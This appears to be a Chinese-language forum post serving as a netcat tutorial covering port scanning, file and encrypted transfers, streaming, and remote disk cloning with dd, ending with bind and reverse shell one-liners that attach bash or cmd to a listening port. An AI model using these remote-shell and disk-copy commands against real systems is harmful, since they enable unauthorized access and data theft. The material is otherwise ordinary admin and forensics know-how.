Netcat

本贴最后更新于 2343 天前,其中的信息可能已经水流花落

nc 作为客户端:经常使用的参数 nc -vn (v:显示详细的连接信息,n:不进行 DNS 域名解析 ,q:退出)
先通过 ping pop3.163.com 获得相应的 IP 地址:220.181.12.110,连接他的 110 端口
执行 nc -vn 220.181.12.110 110,服务器返回
(UNKNOWN) [220.181.12.110] 110 (pop3) open
+OK Welcome to coremail Mail Pop3 Server (163coms[b62aaa251425b4be4eaec4ab4744cf47s])
接下来输入经过 base64 编码的邮箱账户和密码来进行登录,收发邮件
例如 USER xxxx password xxx
传输文本协议 需要其中一台服务器监听一个端口
命令:nc -l -p 4444 l:listen p: port
另一台客户端连接到该服务器 nc -vn ip 4444
用于远程电子取证
传输文件
A:nc -lp port >1.mp4
B:nc -vn ip port < 1.mp4 -q 1
(服务端 A 端监听端口,等待接收文件;客户端 B 连接 A 将文件传输到该端口,完成 1 秒后断开连接)
或者
A:nc -q 1 -lp 333 <a.mp4
B:nc -vn ip port > 2.mp4
(A 监听端口,作为输入端;将文件输入该端口,当客户端 B 连接时,文件传输,完成 1 秒后断开连接)
传输目录
A:tar -cvf - muisic/ | nc -lp port -q 1
B:nc -vn ip port | tar -xvf -
(服务端 A 通过 tar 命令将目录打包成文件通过管道命令将文件输入到指定端口,客户端 B 连接端口通过管道进行 tar 解压)
传输加密文件
A:nc -lp port | mcrypt --flush -Fbqd -a rijndael-256 -m ecb > 1.mp4
B:mcrypt --flush -Fbq -a rijndael-256 -m ecb < a.mp4 | nc -vn ip port -q 1 {输入密钥}
(加密算法 rijndael-256 密钥 加密过程参数 Fbq 解密过程参数 Fbqd)
系统中 mcrypt 命令进行加密 安装:apt-get install mcrypt
流媒体服务器
A:cat 1.mp4 | nc -lp port
B:nc -vn ip port | mplayer -vo x11 -cache 3000 -
(mplayer 为媒体播放器)
端口扫描
NETCAT 默认使用 TCP 协议探测 所以端口为 1~65535
nc -vnz ip 1-65535 (参数z:zero I/O mode [used for scanning] 扫描)
nc -vnzu ip 1-1024(参数u:udp协议)
远程克隆硬盘
A:nc -lp port | dd of=/dev/sda (of:output file)
B:dd if=/dev/sda | nc -vn ip port -q 1 (if:input file)
(远程电子取证,可以将目标服务器硬盘远程复制,或者内容;块级别)
远程控制
正向:
A:nc -lp port -c bash
B:nc ip port
反向:
A:nc -lp port
B:nc ip port -c bash
注:Windows 用户把 bash 改成 cmd;
NCAT
NC 缺乏加密和身份验证的能力
Ncat 包含于 nmap 工具包中
A:ncat -c bash --allow ip -vnl port --ssl (allow 参数允许某个 IP 地址连接 ssl 做加密)
B:ncat -vn ip port --ssl
不同平台/系统的 nc 参数功能不尽相同

相关帖子

回帖

欢迎来到这里!

我们正在构建一个小众社区,大家在这里相互信任,以平等 • 自由 • 奔放的价值观进行分享交流。最终,希望大家能够找到与自己志同道合的伙伴,共同成长。

注册 关于
请输入回帖内容 ...

推荐标签 标签

  • Markdown

    Markdown 是一种轻量级标记语言,用户可使用纯文本编辑器来排版文档,最终通过 Markdown 引擎将文档转换为所需格式(比如 HTML、PDF 等)。

    172 引用 • 1538 回帖
  • IDEA

    IDEA 全称 IntelliJ IDEA,是一款 Java 语言开发的集成环境,在业界被公认为最好的 Java 开发工具之一。IDEA 是 JetBrains 公司的产品,这家公司总部位于捷克共和国的首都布拉格,开发人员以严谨著称的东欧程序员为主。

    181 引用 • 400 回帖
  • Wide

    Wide 是一款基于 Web 的 Go 语言 IDE。通过浏览器就可以进行 Go 开发,并有代码自动完成、查看表达式、编译反馈、Lint、实时结果输出等功能。

    欢迎访问我们运维的实例: https://wide.b3log.org

    30 引用 • 218 回帖 • 642 关注
  • Eclipse

    Eclipse 是一个开放源代码的、基于 Java 的可扩展开发平台。就其本身而言,它只是一个框架和一组服务,用于通过插件组件构建开发环境。

    76 引用 • 258 回帖 • 623 关注
  • Linux

    Linux 是一套免费使用和自由传播的类 Unix 操作系统,是一个基于 POSIX 和 Unix 的多用户、多任务、支持多线程和多 CPU 的操作系统。它能运行主要的 Unix 工具软件、应用程序和网络协议,并支持 32 位和 64 位硬件。Linux 继承了 Unix 以网络为核心的设计思想,是一个性能稳定的多用户网络操作系统。

    954 引用 • 944 回帖
  • H2

    H2 是一个开源的嵌入式数据库引擎,采用 Java 语言编写,不受平台的限制,同时 H2 提供了一个十分方便的 web 控制台用于操作和管理数据库内容。H2 还提供兼容模式,可以兼容一些主流的数据库,因此采用 H2 作为开发期的数据库非常方便。

    11 引用 • 54 回帖 • 671 关注
  • Sym

    Sym 是一款用 Java 实现的现代化社区(论坛/BBS/社交网络/博客)系统平台。

    下一代的社区系统,为未来而构建

    524 引用 • 4601 回帖 • 709 关注
  • C++

    C++ 是在 C 语言的基础上开发的一种通用编程语言,应用广泛。C++ 支持多种编程范式,面向对象编程、泛型编程和过程化编程。

    108 引用 • 153 回帖
  • 强迫症

    强迫症(OCD)属于焦虑障碍的一种类型,是一组以强迫思维和强迫行为为主要临床表现的神经精神疾病,其特点为有意识的强迫和反强迫并存,一些毫无意义、甚至违背自己意愿的想法或冲动反反复复侵入患者的日常生活。

    15 引用 • 161 回帖
  • 小说

    小说是以刻画人物形象为中心,通过完整的故事情节和环境描写来反映社会生活的文学体裁。

    32 引用 • 108 回帖 • 5 关注
  • TGIF

    Thank God It's Friday! 感谢老天,总算到星期五啦!

    291 引用 • 4495 回帖 • 662 关注
  • Mobi.css

    Mobi.css is a lightweight, flexible CSS framework that focus on mobile.

    1 引用 • 6 回帖 • 765 关注
  • uTools

    uTools 是一个极简、插件化、跨平台的现代桌面软件。通过自由选配丰富的插件,打造你得心应手的工具集合。

    7 引用 • 28 回帖
  • 招聘

    哪里都缺人,哪里都不缺人。

    188 引用 • 1057 回帖 • 2 关注
  • 运维

    互联网运维工作,以服务为中心,以稳定、安全、高效为三个基本点,确保公司的互联网业务能够 7×24 小时为用户提供高质量的服务。

    151 引用 • 257 回帖 • 1 关注
  • BND

    BND(Baidu Netdisk Downloader)是一款图形界面的百度网盘不限速下载器,支持 Windows、Linux 和 Mac,详细介绍请看这里

    107 引用 • 1281 回帖 • 34 关注
  • 创业

    你比 99% 的人都优秀么?

    82 引用 • 1395 回帖
  • 倾城之链
    23 引用 • 66 回帖 • 165 关注
  • Word
    13 引用 • 41 回帖
  • SSL

    SSL(Secure Sockets Layer 安全套接层),及其继任者传输层安全(Transport Layer Security,TLS)是为网络通信提供安全及数据完整性的一种安全协议。TLS 与 SSL 在传输层对网络连接进行加密。

    70 引用 • 193 回帖 • 413 关注
  • iOS

    iOS 是由苹果公司开发的移动操作系统,最早于 2007 年 1 月 9 日的 Macworld 大会上公布这个系统,最初是设计给 iPhone 使用的,后来陆续套用到 iPod touch、iPad 以及 Apple TV 等产品上。iOS 与苹果的 Mac OS X 操作系统一样,属于类 Unix 的商业操作系统。

    89 引用 • 150 回帖 • 3 关注
  • FreeMarker

    FreeMarker 是一款好用且功能强大的 Java 模版引擎。

    23 引用 • 20 回帖 • 465 关注
  • 996
    13 引用 • 200 回帖 • 4 关注
  • WiFiDog

    WiFiDog 是一套开源的无线热点认证管理工具,主要功能包括:位置相关的内容递送;用户认证和授权;集中式网络监控。

    1 引用 • 7 回帖 • 614 关注
  • Notion

    Notion - The all-in-one workspace for your notes, tasks, wikis, and databases.

    10 引用 • 77 回帖
  • frp

    frp 是一个可用于内网穿透的高性能的反向代理应用,支持 TCP、UDP、 HTTP 和 HTTPS 协议。

    17 引用 • 7 回帖
  • Hibernate

    Hibernate 是一个开放源代码的对象关系映射框架,它对 JDBC 进行了非常轻量级的对象封装,使得 Java 程序员可以随心所欲的使用对象编程思维来操纵数据库。

    39 引用 • 103 回帖 • 728 关注